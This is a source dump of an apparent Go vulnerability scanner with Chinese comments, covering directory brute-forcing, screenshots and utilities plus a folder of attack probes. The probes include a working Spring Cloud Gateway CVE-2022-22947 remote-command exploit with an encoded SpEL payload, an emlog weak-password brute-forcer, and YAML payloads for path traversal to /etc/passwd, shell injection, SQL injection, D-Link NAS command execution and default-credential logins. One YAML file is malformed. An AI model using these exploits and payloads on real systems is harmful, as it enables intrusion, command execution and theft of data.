52 | request.Set("User-Agent", Agent)
53 | }
54 |
55 | file, _ = cmd.Flags().GetString("file") //读取字典文件
56 | if !global.PathExists(file) {
57 | fmt.Printf("[-] 使用内置字典进行扫描,可通过-f指定扫描字典!\n")
58 | data, _ := urlData.ReadFile("url.txt")
59 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n")
60 | for _, u := range strings.Split(datastr, "\n") {
61 | if len(u) == 0 {
62 | continue
63 | }
64 | checkurl = append(checkurl, u)
65 | }
66 | } else {
67 | data, _ := os.ReadFile(file)
68 | str := strings.ReplaceAll(string(data), "\r\n", "\n")
69 | for _, u := range strings.Split(str, "\n") {
70 | if len(u) == 0 {
71 | continue
72 | }
73 | checkurl = append(checkurl, u)
74 | }
75 | }
76 |
77 | countall = len(removeDuplicates(checkurl)) //去重
78 |
79 | waittime, _ := cmd.Flags().GetInt("wait") //循环超时
80 | codese, _ := cmd.Flags().GetString("code") //搜索的状态码
81 | for _, s := range strings.Split(codese, ",") { //根据分隔符写入到状态切片
82 | code = append(code, s)
83 | }
84 | codestr := strings.Join(code, ", ")
85 |
86 | fmt.Printf("[*] 开始运行dirsearch模式 共计尝试:%d次 超时等待:%d/s 循环等待:%d/s 并发数:%d 寻找状态码:%s 代理地址:%s\n ", countall, timeout, waittime, chcount, codestr, proxyurl)
87 | for _, checku := range removeDuplicates(checkurl) {
88 | if checku[0] != '/' { //判断第一个字符是不是/不是的话则增加
89 | checku = "/" + checku
90 | }
91 | ch <- struct{}{}
92 | wg.Add(1)
93 | go isStatusCodeOk(fmt.Sprintf("%s%s", url, checku)) //传递完整url\
94 |
95 | if waittime > 0 { //延迟等待
96 | time.Sleep(time.Duration(waittime) * time.Second)
97 | }
98 | }
99 | wg.Wait()
100 | time.Sleep(time.Second * 1) //等待1秒是因为并发问题,等待进度条。
101 | //percent()
102 | fmt.Print("\033[2K") // 擦除整行
103 | fmt.Printf("\r")
104 |
105 | }
106 |
107 | // removeDuplicates 切片去重
108 | func removeDuplicates(slice []string) []string {
109 | keys := make(map[string]bool)
110 | var list []string
111 | for _, entry := range slice {
112 | if _, value := keys[entry]; !value {
113 | keys[entry] = true
114 | list = append(list, entry)
115 | }
116 | }
117 | return list
118 | }
119 |
--------------------------------------------------------------------------------
/dirscan/percent.go:
--------------------------------------------------------------------------------
1 | package dirscan
2 |
3 | import (
4 | "fmt"
5 | "github.com/fatih/color"
6 | )
7 |
8 | // percent 输出进度条
9 | func percent() {
10 | percent := (float64(succeCount) / float64(countall)) * 100.00
11 | spinChar := rotateSpinner()
12 | if percent == 100 {
13 | spinChar = "√"
14 | }
15 | percentStr := fmt.Sprintf("%.2f", percent) // 将百分比值格式化为字符串
16 | fmt.Printf("\r[%s] 当前进度: %s",
17 | spinChar,
18 | color.RedString("%s", fmt.Sprintf("%s%%", percentStr)),
19 | )
20 |
21 | }
22 |
23 | // 旋转进度条
24 | func rotateSpinner() string {
25 | mu.Lock()
26 | defer mu.Unlock()
27 |
28 | spinChar := spinnerChars[counter%len(spinnerChars)]
29 | counter++
30 | return spinChar
31 | }
32 |
--------------------------------------------------------------------------------
/global/CaptureWebScreenshot.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import (
4 | "context"
5 | "github.com/chromedp/cdproto/page"
6 | "github.com/chromedp/chromedp"
7 | "os"
8 | "path/filepath"
9 | "strings"
10 | "time"
11 | )
12 |
13 | // CaptureScreenshot 要截图的网页的 URL,截图的质量,以及保存截图的目录
14 | func CaptureScreenshot(url string, quality int64, dir string) error {
15 | // 创建一个上下文
16 | ctx, cancel := chromedp.NewContext(context.Background())
17 | defer cancel()
18 |
19 | // 设置浏览器选项
20 | opts := append(chromedp.DefaultExecAllocatorOptions[:],
21 | chromedp.Flag("headless", true),
22 | chromedp.Flag("disable-gpu", true),
23 | chromedp.Flag("no-sandbox", true),
24 | chromedp.Flag("disable-dev-shm-usage", true),
25 | chromedp.Flag("ignore-certificate-errors", true), // 忽略证书错误
26 | //chromedp.Flag("remote-debugging-port", "9222"),
27 | )
28 | allocCtx, cancel := chromedp.NewExecAllocator(ctx, opts...)
29 | defer cancel()
30 |
31 | // 创建一个浏览器实例
32 | ctx, cancel = chromedp.NewContext(allocCtx)
33 | defer cancel()
34 |
35 | // 导航到指定的URL
36 | var buf []byte
37 | err := chromedp.Run(ctx, chromedp.Navigate(url), chromedp.Sleep(3*time.Second), chromedp.ActionFunc(func(ctx context.Context) error {
38 | // 获取页面截图
39 | var err error
40 | buf, err = page.CaptureScreenshot().WithQuality(quality).WithClip(&page.Viewport{X: 0, Y: 0, Width: 1024, Height: 768, Scale: 1}).Do(ctx)
41 | if err != nil {
42 | return err
43 | }
44 | return nil
45 | }))
46 | if err != nil {
47 | return err
48 | }
49 |
50 | // 将 URL 中的非法字符替换为下划线
51 | filename := strings.Map(func(r rune) rune {
52 | if r == '/' || r == ':' {
53 | return '_'
54 | }
55 | return r
56 | }, url)
57 |
58 | // 检查文件夹是否存在,如果不存在则创建
59 | if _, err := os.Stat(dir); os.IsNotExist(err) {
60 | err = os.MkdirAll(dir, 0755)
61 | if err != nil {
62 | return err
63 | }
64 | }
65 |
66 | // 将截图保存到文件
67 | err = os.WriteFile(filepath.Join(dir, filename+".png"), buf, 0644)
68 | if err != nil {
69 | return err
70 | }
71 |
72 | return nil
73 | }
74 |
--------------------------------------------------------------------------------
/global/countFiles.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import (
4 | "os"
5 | "path/filepath"
6 | )
7 |
8 | // CountDirFiles 接收一个目录返回目录中的文件数量
9 | func CountDirFiles(dirPath string) (int, error) {
10 | var fileCount int
11 | err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
12 | if err != nil {
13 | return err
14 | }
15 | if !info.IsDir() {
16 | fileCount++
17 | }
18 | return nil
19 | })
20 |
21 | if err != nil {
22 | return 0, err
23 | }
24 |
25 | return fileCount, nil
26 | }
27 |
--------------------------------------------------------------------------------
/global/gloabl.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import (
4 | "os"
5 | "sync"
6 | )
7 |
8 | const (
9 | XlsxTemplateName = "golin上传文件模板文件.xlsx"
10 | )
11 |
12 | // 公共变量
13 | var (
14 | SuccessLog = "log.log" //运行记录
15 | Split = "~" //默认分割符号
16 | CmdLinuxPath = "linux.txt" //默认Linux模式多主机模式下读取的文件
17 | CmdMysqlPath = "mysql.txt" //默认Mysql模式多主机模式下读取的文件
18 | CmdRedisPath = "redis.txt" //默认Redis模式多主机模式下读取的文件
19 | CmdRoutepath = "route.txt" //默认route模式多主机模式下读取的文件
20 | CmdPgsqlPath = "pgsql.txt" //默认pgsql模式多主机模式下读取的文件
21 | CmdsqlServerPath = "sqlserver.txt" //默认sqlserver模式多主机模式下读取的文件
22 | CmdOraclePath = "oracle.txt" //默认oracle模式多主机模式下读取的文件
23 | FilePer = 0744 //创建文件或目录时的默认权限,必须是0开头
24 | Succpath = "采集完成目录" //CLi模式成功主机写入日志的目录
25 | Succwebpath = "webhistory.json" //Web模式运行记录
26 | Denynametype = []string{"\\", "\\/", "*", "?", "\"", "<", ">", "|"} //windos下不允许创建名称的特殊符号。
27 | PrintLock sync.RWMutex //并发输出写入
28 | WebURl = "" //web扫描时临时后缀
29 | SaveIMG = false //web扫描时是否进行截图,本地需要有chrom浏览器
30 | SsaveIMGDIR = "WebScreenshot"
31 | )
32 |
33 | // AppendToFile 创建追加写入函数
34 | func AppendToFile(filename string, content string) error {
35 | // 检测文件是否存在
36 | var file *os.File
37 | var err error
38 | if _, err = os.Stat(filename); os.IsNotExist(err) {
39 | // 如果文件不存在,则创建文件
40 | file, err = os.Create(filename)
41 | if err != nil {
42 | return err
43 | }
44 | } else {
45 | // 如果文件存在,则以追加模式打开文件
46 | file, err = os.OpenFile(filename, os.O_APPEND|os.O_WRONLY, os.FileMode(FilePer))
47 | if err != nil {
48 | return err
49 | }
50 | }
51 | // 在文件末尾写入内容
52 | defer file.Close()
53 | if _, err = file.WriteString(content); err != nil {
54 | return err
55 | }
56 | return nil
57 | }
58 |
59 | // PathExists 文件是否存在
60 | func PathExists(path string) bool {
61 | _, err := os.Stat(path)
62 | if err == nil {
63 | return true
64 | }
65 | if os.IsNotExist(err) {
66 | return false
67 | }
68 | return false
69 | }
70 |
71 | // InSlice 判断字符串是否在 slice 中。
72 | func InSlice(items []string, item string) bool {
73 | for _, eachItem := range items {
74 | if eachItem == item {
75 | return true
76 | }
77 | }
78 | return false
79 | }
80 |
81 | // RemoveDuplicates 切片去重
82 | func RemoveDuplicates(slice []string) []string {
83 | keys := make(map[string]bool)
84 | var list []string
85 |
86 | for _, entry := range slice {
87 | if _, value := keys[entry]; !value {
88 | keys[entry] = true
89 | list = append(list, entry)
90 | }
91 | }
92 | return list
93 | }
94 |
95 | func MkdirAll(path string) bool {
96 | if err := os.MkdirAll(path, 0750); err != nil {
97 | return false
98 | }
99 | return true
100 | }
101 |
--------------------------------------------------------------------------------
/global/log.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "time"
7 | )
8 |
9 | // LogLevel 定义了不同的日志级别。
10 | type LogLevel int
11 |
12 | const (
13 | // LevelError 代表错误级别的日志。
14 | LevelError LogLevel = iota
15 | // LevelWarning 代表警告级别的日志。
16 | LevelWarning
17 | // LevelInfo 代表信息级别的日志。
18 | LevelInfo
19 | )
20 |
21 | // LogToFile 将日志消息写入指定的日志文件。如果文件不存在,会自动创建。
22 | func LogToFile(level LogLevel, message string) {
23 |
24 | logFileName := "crack.log"
25 | // 根据日志级别添加不同的前缀
26 | levelPrefix := map[LogLevel]string{
27 | LevelError: "[ERROR]",
28 | LevelWarning: "[WARNING]",
29 | LevelInfo: "[INFO]",
30 | }
31 | prefix, ok := levelPrefix[level]
32 | if !ok {
33 | return
34 | }
35 |
36 | file, err := os.OpenFile(logFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0666)
37 | if err != nil {
38 | return
39 | }
40 | defer file.Close()
41 |
42 | // 构建日志消息,格式为: time [level] msg
43 | logMessage := fmt.Sprintf("%s %s %s\n", time.Now().Format(time.DateTime), prefix, message)
44 |
45 | // 写入日志文件
46 | _, _ = file.WriteString(logMessage)
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/global/percent.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import (
4 | "fmt"
5 | "github.com/fatih/color"
6 | )
7 |
8 | var (
9 | spinnerChars = []string{"|", "/", "-", "\\"} //进度条更新动画
10 | counter = 0 //当前已扫描的数量,计算百分比
11 | )
12 |
13 | // Percent 输出进度条
14 | func Percent(succeCount, countall uint32) {
15 | PrintLock.Lock()
16 | defer PrintLock.Unlock()
17 | percent := (float64(succeCount) / float64(countall)) * 100.00
18 | spinChar := rotateSpinner()
19 | if percent == 100 {
20 | spinChar = "√"
21 | }
22 |
23 | percentStr := fmt.Sprintf("%.2f", percent) // 将百分比值格式化为字符串
24 | fmt.Print("\033[2K") // 擦除整行
25 | fmt.Printf("\r[%s] 当前进度: %s",
26 | spinChar,
27 | color.RedString("%s", fmt.Sprintf("%s%%", percentStr)),
28 | )
29 | }
30 |
31 | // 旋转进度条
32 | func rotateSpinner() string {
33 | spinChar := spinnerChars[counter%len(spinnerChars)]
34 | counter++
35 | return spinChar
36 | }
37 |
--------------------------------------------------------------------------------
/global/update.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "io"
7 | "net/http"
8 | "os"
9 | )
10 |
11 | type releaseInfo struct {
12 | TagName string `json:"tag_name"`
13 | Assets []BrowserDown `json:"assets"`
14 | }
15 | type BrowserDown struct {
16 | BrowserDownloadUrl string `json:"browser_download_url"`
17 | Size int64 `json:"size"`
18 | }
19 |
20 | // CheckForUpdate 检查更新
21 | func CheckForUpdate() (releaseInfo, error) {
22 | var info releaseInfo
23 | response, err := http.Get(RepoUrl)
24 | if err != nil {
25 | return info, err
26 | }
27 | defer func(Body io.ReadCloser) {
28 | err := Body.Close()
29 | if err != nil {
30 | fmt.Println(err)
31 | os.Exit(1)
32 | }
33 | }(response.Body)
34 |
35 | if response.StatusCode != http.StatusOK {
36 | return info, fmt.Errorf("failed to fetch latest release information with status code %d", response.StatusCode)
37 | }
38 | body, err := io.ReadAll(response.Body)
39 | if err != nil {
40 | fmt.Println("无法读取响应正文:", err)
41 | return info, err
42 | }
43 |
44 | err = json.Unmarshal(body, &info)
45 | if err != nil {
46 | return info, err
47 | }
48 |
49 | return info, nil
50 | }
51 |
--------------------------------------------------------------------------------
/global/version.go:
--------------------------------------------------------------------------------
1 | package global
2 |
3 | const (
4 | Version = "1.2.6" //当前版本号
5 | Releasenotes = "快速扫描更智能;增加多种漏洞识别;溯源应急能力提升" //版本说明
6 | RepoUrl = "https://api.github.com/repos/selinuxg/Golin/releases/latest" //仓库最新版本
7 | )
8 |
--------------------------------------------------------------------------------
/images/dirsearch.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/dirsearch.jpg
--------------------------------------------------------------------------------
/images/port.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/port.jpg
--------------------------------------------------------------------------------
/images/vx.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/vx.jpg
--------------------------------------------------------------------------------
/images/web.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/web.jpg
--------------------------------------------------------------------------------
/images/xshell.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/xshell.jpg
--------------------------------------------------------------------------------
/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | // Copyright © 2023 NAME HERE
4 |
5 | import (
6 | "fmt"
7 | "golin/cmd"
8 | "time"
9 | )
10 |
11 | func main() {
12 | start := time.Now()
13 | cmd.Execute()
14 | end := time.Now().Sub(start)
15 | fmt.Printf("[*] 任务结束,耗时: %s\n", end)
16 | }
17 |
--------------------------------------------------------------------------------
/poc/AuthZookeeper.go:
--------------------------------------------------------------------------------
1 | package poc
2 |
3 | import (
4 | "fmt"
5 | "net"
6 | "time"
7 | )
8 |
9 | func ZookeeperCon(host, port string) {
10 | address := fmt.Sprintf("%s:%s", host, port)
11 | conn, err := net.DialTimeout("tcp", address, 3*time.Second)
12 | if err != nil {
13 | return
14 | }
15 | defer conn.Close()
16 |
17 | _, err = conn.Write([]byte("envi"))
18 | if err != nil {
19 | return
20 | }
21 |
22 | buffer := make([]byte, 1024)
23 | n, err := conn.Read(buffer)
24 | if err != nil {
25 | return
26 | }
27 |
28 | response := string(buffer[:n])
29 | // 如果响应中包含 "Environment",则是 Zookeeper 服务
30 | if n > 0 && response[0:11] == "Environment" {
31 | flags := Flagcve{fmt.Sprintf("%s:%s", host, port), "Zookeeper未授权访问", "可通过nc参数执行conf、envi等命令验证"}
32 | echoFlag(flags)
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/poc/Spring-CVE-2022-22947.go:
--------------------------------------------------------------------------------
1 | package poc
2 |
3 | import (
4 | "bytes"
5 | "encoding/base64"
6 | "io"
7 | "net/http"
8 | "regexp"
9 | "strings"
10 | "time"
11 | )
12 |
13 | const payload1 = "/actuator/gateway/routes/66Sec"
14 | const payload2 = "/actuator/gateway/refresh"
15 | const payload3 = "/actuator/gateway/routes/66Sec"
16 |
17 | var headers = map[string]string{
18 | "Accept-Encoding": "gzip, deflate",
19 | "Accept": "*/*",
20 | "Accept-Language": "en",
21 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36",
22 | "Connection": "close",
23 | "Content-Type": "application/json",
24 | }
25 |
26 | var data = "ewogICJpZCI6ICJXZWlhblNlYyIsCiAgImZpbHRlcnMiOiBbewogICAgIm5hbWUiOiAiQWRkUmVzcG9uc2VIZWFkZXIiLAogICAgImFyZ3MiOiB7CiAgICAgICJuYW1lIjogIlJlc3VsdCIsCiAgICAgICJ2YWx1ZSI6ICIje25ldyBTdHJpbmcoVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuU3RyZWFtVXRpbHMpLmNvcHlUb0J5dGVBcnJheShUKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJDbWRcIn0pLmdldElucHV0U3RyZWFtKCkpKX0iCiAgICB9CiAgfV0sCiAgInVyaSI6ICJodHRwOi8vZXhhbXBsZS5jb20iCn0="
27 |
28 | func CVE_2022_22947(url, cmd string) {
29 | client := &http.Client{
30 | Timeout: time.Second * 3,
31 | }
32 |
33 | decodedData, _ := base64.StdEncoding.DecodeString(data)
34 | dataStr := strings.Replace(string(decodedData), "Cmd", cmd, -1)
35 |
36 | req, _ := http.NewRequest("POST", url+payload1, bytes.NewBuffer([]byte(dataStr)))
37 | for k, v := range headers {
38 | req.Header.Set(k, v)
39 | }
40 | resp, err := client.Do(req)
41 | if err != nil {
42 | return
43 | }
44 | defer resp.Body.Close()
45 |
46 | req, _ = http.NewRequest("POST", url+payload2, bytes.NewBuffer(nil))
47 | for k, v := range headers {
48 | req.Header.Set(k, v)
49 | }
50 | _, err = client.Do(req)
51 | if err != nil {
52 | return
53 | }
54 |
55 | req, _ = http.NewRequest("GET", url+payload3, nil)
56 | for k, v := range headers {
57 | req.Header.Set(k, v)
58 | }
59 | resp, err = client.Do(req)
60 | if err != nil {
61 | return
62 | }
63 | bodyBytes, err := io.ReadAll(resp.Body)
64 | if err != nil {
65 | return
66 | }
67 | bodyString := string(bodyBytes)
68 |
69 | re := regexp.MustCompile(`Result = ['"]?([^'")]+)`)
70 | exec := re.FindAllStringSubmatch(bodyString, -1)
71 | if len(exec) == 1 {
72 | if len(exec[0]) == 2 {
73 | flag := exec[0][1]
74 | flags := Flagcve{url, "CVE_2022_22947", "执行命令结果:" + flag}
75 | echoFlag(flags)
76 | }
77 | }
78 |
79 | }
80 |
--------------------------------------------------------------------------------
/poc/client.go:
--------------------------------------------------------------------------------
1 | package poc
2 |
3 | import (
4 | "crypto/tls"
5 | "net/http"
6 | "time"
7 | )
8 |
9 | func newRequest(req *http.Request, timeout time.Duration) (*http.Response, float64, error) {
10 |
11 | transport := &http.Transport{
12 | TLSClientConfig: &tls.Config{
13 | InsecureSkipVerify: true,
14 | }}
15 |
16 | if timeout == 0 {
17 | timeout = 3 * time.Second
18 | }
19 | client := &http.Client{
20 | Transport: transport,
21 | Timeout: time.Second * timeout,
22 | }
23 |
24 | start := time.Now() // 记录开始时间
25 | resp, err := client.Do(req)
26 | elapsed := time.Since(start) // 计算耗时
27 |
28 | return resp, elapsed.Seconds(), err
29 | }
30 |
--------------------------------------------------------------------------------
/poc/emlog-default-passwd.go:
--------------------------------------------------------------------------------
1 | package poc
2 |
3 | import (
4 | "github.com/parnurzeal/gorequest"
5 | "strings"
6 | )
7 |
8 | func emlogDefaultPasswd(url string) {
9 | url += "/admin/account.php?action=dosignin&s="
10 | weakPasswords := []string{
11 | "user=admin&pw=123456",
12 | "user=admin&pw=password",
13 | "user=admin&pw=admin123",
14 | "user=admin&pw=qwerty",
15 | "user=admin&pw=root",
16 | }
17 |
18 | // 创建 gorequest 请求对象
19 | request := gorequest.New()
20 |
21 | // 遍历弱口令列表
22 | for _, payload := range weakPasswords {
23 | // 发起 POST 请求
24 | resp, body, errs := request.Post(url).
25 | Send(payload).
26 | Set("Content-Type", "application/x-www-form-urlencoded").
27 | Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36").
28 | Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7").
29 | Set("Cache-Control", "max-age=0").
30 | Set("Connection", "close").
31 | End()
32 |
33 | // 如果请求发生错误,跳过
34 | if errs != nil {
35 | continue
36 | }
37 | defer resp.Body.Close()
38 | if resp.StatusCode == 200 && strings.Contains(body, "管理中心") {
39 | ListPocInfo = append(ListPocInfo, Flagcve{Url: url, Cve: "弱口令", Flag: payload})
40 | return
41 | }
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Alibaba-Sentinel-default-user.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Alibaba-Sentinel-default-user
2 | description: "登录方式:sentinel/sentinel"
3 | method: POST
4 | headers:
5 | Content-Type: "application/x-www-form-urlencoded"
6 | Authorization: "Basic Og=="
7 | path:
8 | - //auth/login?password=sentinel&username=sentinel
9 | expression:
10 | status: 200
11 | body_any:
12 | - "success"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Apache-APISIX-default-admin.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Apache-APISIX-default-user
2 | description: "登录方式:admin/admin"
3 | method: POST
4 | headers:
5 | Content-Type: "application/json"
6 | body: >
7 | {"username":"admin","password":"admin"}
8 | path:
9 | - /apisix/admin/user/login
10 | expression:
11 | status: 200
12 | body_any:
13 | - "token"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Apache-Druid-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Apache-Druid-unauth
2 | description: "ApacheDruid未授权访问"
3 | method: GET
4 | path:
5 | - /unified-console.html
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Apache Druid"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Apache-Solr-Admin-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Apache-Solr-Admin-unauth
2 | description: "未授权访问"
3 | method: GET
4 | path:
5 | - /solr/admin/cores?indexInfo=false&wt=json
6 | expression:
7 | status: 200
8 | body_all:
9 | - "name"
10 | - "uptime"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Apache-storm-unauth.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Apache-storm-unauth
2 | description: "Apache-storm未授权访问"
3 | method: GET
4 | path:
5 | - /index.html
6 | expression:
7 | status: 200
8 | body_all:
9 | - "Storm UI"
10 | - "Cluster Summary"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-AuthDruidun.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-AuthDruidun
2 | description: "Druidun未授权访问"
3 | alwaysExecute: true
4 | method: GET
5 | path:
6 | - /druid/index.html
7 | expression:
8 | status: 200
9 | body_all:
10 | - "ruid Stat Index"
11 | - "DruidVersion"
12 | - "DruidDrivers"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-AuthSwagger.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-AuthSwagger
2 | description: "Swagger接口未授权访问"
3 | method: GET
4 | alwaysExecute: true
5 | path:
6 | - "/swagger/ui/index"
7 | - "/swagger-ui.html"
8 | - "/api/swagger-ui.html"
9 | - "/service/swagger-ui.html"
10 | - "/web/swagger-ui.html"
11 | - "/swagger/swagger-ui.html"
12 | - "/actuator/swagger-ui.html"
13 | - "/libs/swagger-ui.html"
14 | - "/template/swagger-ui.html"
15 | - "/api_docs"
16 | - "/api/docs/"
17 | - "/api/index.html"
18 | - "/swagger/v1/swagger.yaml"
19 | - "/swagger/v1/swagger.json"
20 | - "/swagger.yaml"
21 | - "/swagger.json"
22 | - "/api-docs/swagger.yaml"
23 | - "/api-docs/swagger.json"
24 | expression:
25 | status: 200
26 | body_any:
27 | - "Swagger UI"
28 | - "swagger-ui.min.js"
29 | - "Swagger 2.0"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-CNVD-2021-26422.yaml:
--------------------------------------------------------------------------------
1 | name: CNVD-2021-26422-亿邮电子邮件系统
2 | description: "V8.3-V8.13的部分二次开发版本可任意命令执行"
3 | method: POST
4 | body: "type='|cat /etc/passwd||'"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
7 | Accept: "*/*"
8 | X-Requested-With: "XMLHttpRequest"
9 | Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
10 | Encoding: "gzip, deflate"
11 | Accept-Language: "zh-CN,zh;q=0.9"
12 | Connection: "close"
13 | path:
14 | - /webadm/?q=moni_detail.do&action=gragh
15 | expression:
16 | status: 200
17 | body_all:
18 | - "root"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-CVE-2024-2620.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-福建科立迅通信调度平台-sql
2 | description: "SQL注入"
3 | method: GET
4 | path:
5 | - "/api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF"
6 | expression:
7 | status: 200
8 | body_any:
9 | - "数据库没有此记录"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-CVE-2024-28995.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Serv-U-CVE-2024-28995
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - "/?InternalDir=/../../../../windows&InternalFile=win.ini"
6 | expression:
7 | status: 200
8 | body_any:
9 | - "Mail"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Casbin-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Casbin-Directory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /static/../../../../../../../../../../../etc/passwd
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root:"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Casbin-user-leak.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-poc-yaml-Casbin-userleak
2 | description: "用户密码泄露"
3 | method: GET
4 | path:
5 | - /api/get-users?p=123&pageSize=123
6 | expression:
7 | status: 200
8 | body_all:
9 | - "ok"
10 | - "name"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-CellinxNVT摄像机-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-CellinxNVT摄像机-userleak
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd&_=1672577046605
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Crawlab-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Crawlab-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /api/file?path=../../etc/passwd
6 | expression:
7 | status: 200
8 | body_all:
9 | - "root:x"
10 |
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Crocus-Diretory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-Crocus系统-Diretory
2 | description: "任意文件读取"
3 | method: GET
4 | path:
5 | - /Service.do?Action=Download&Path=C:/windows/win.ini
6 | expression:
7 | status: 200
8 | body_all:
9 | - "16-bit"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-D-Link-admin-default-password.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-D-Link-Route-admin-default
2 | description: "默认账号密码:admin/admin"
3 | method: POST
4 | body: "user=admin&password=admin"
5 | headers:
6 | Content-Type: "application/x-www-form-urlencoded"
7 | path:
8 | - /login.cgi
9 | expression:
10 | status: 200
11 | body_any:
12 | - "index.htm"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-D-LinkNAS-cmd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-D-LinkNAS-cmd
2 | description: "远程命令执行漏洞(CVE-2024-3273)"
3 | method: GET
4 | - "/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHdk"
5 | expression:
6 | status: 200
7 | body_all:
8 | - "var"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-DCME-320-Directory.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-神州数码DCME-320出口网关-Directory
2 | description: "任意文件读取"
3 | method: POST
4 | path:
5 | - /function/auth/user/online_list.php
6 | body: "proxy_request=/etc/passwd"
7 | expression:
8 | status: 200
9 | body_any:
10 | - "root"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-DateEase-default-passwd.yaml:
--------------------------------------------------------------------------------
1 | name: poc-yaml-飞致云-DateEase-default-passwd
2 | description: "admin/dataease"
3 | method: POST
4 | body: >
5 | {"username":"g24DUpuiuhas+dTXGTjqFQAZiIEVLgQEJR31oS8smIWqsKx7QbfAEfTUCfSqt0NXZx9NPMYSHWfefPZ+k3mLYg==","password":"PBFg6uoRZ7hO2oKw4MRGYsY/nTT91qktzawbfyTNg8Fpy/CiugLf59Uf0sanY85udQTmHKbxuiZoCVIgV5d9Uw==","loginType":0}
6 | headers:
7 | Content-Type: "application/json"
8 | path:
9 | - /api/auth/login
10 | expression:
11 | status: 200
12 | body_any:
13 | - "true"
--------------------------------------------------------------------------------
/poc/yaml-poc/poc-yaml-Docker-RemoteAPI-leak.yaml:
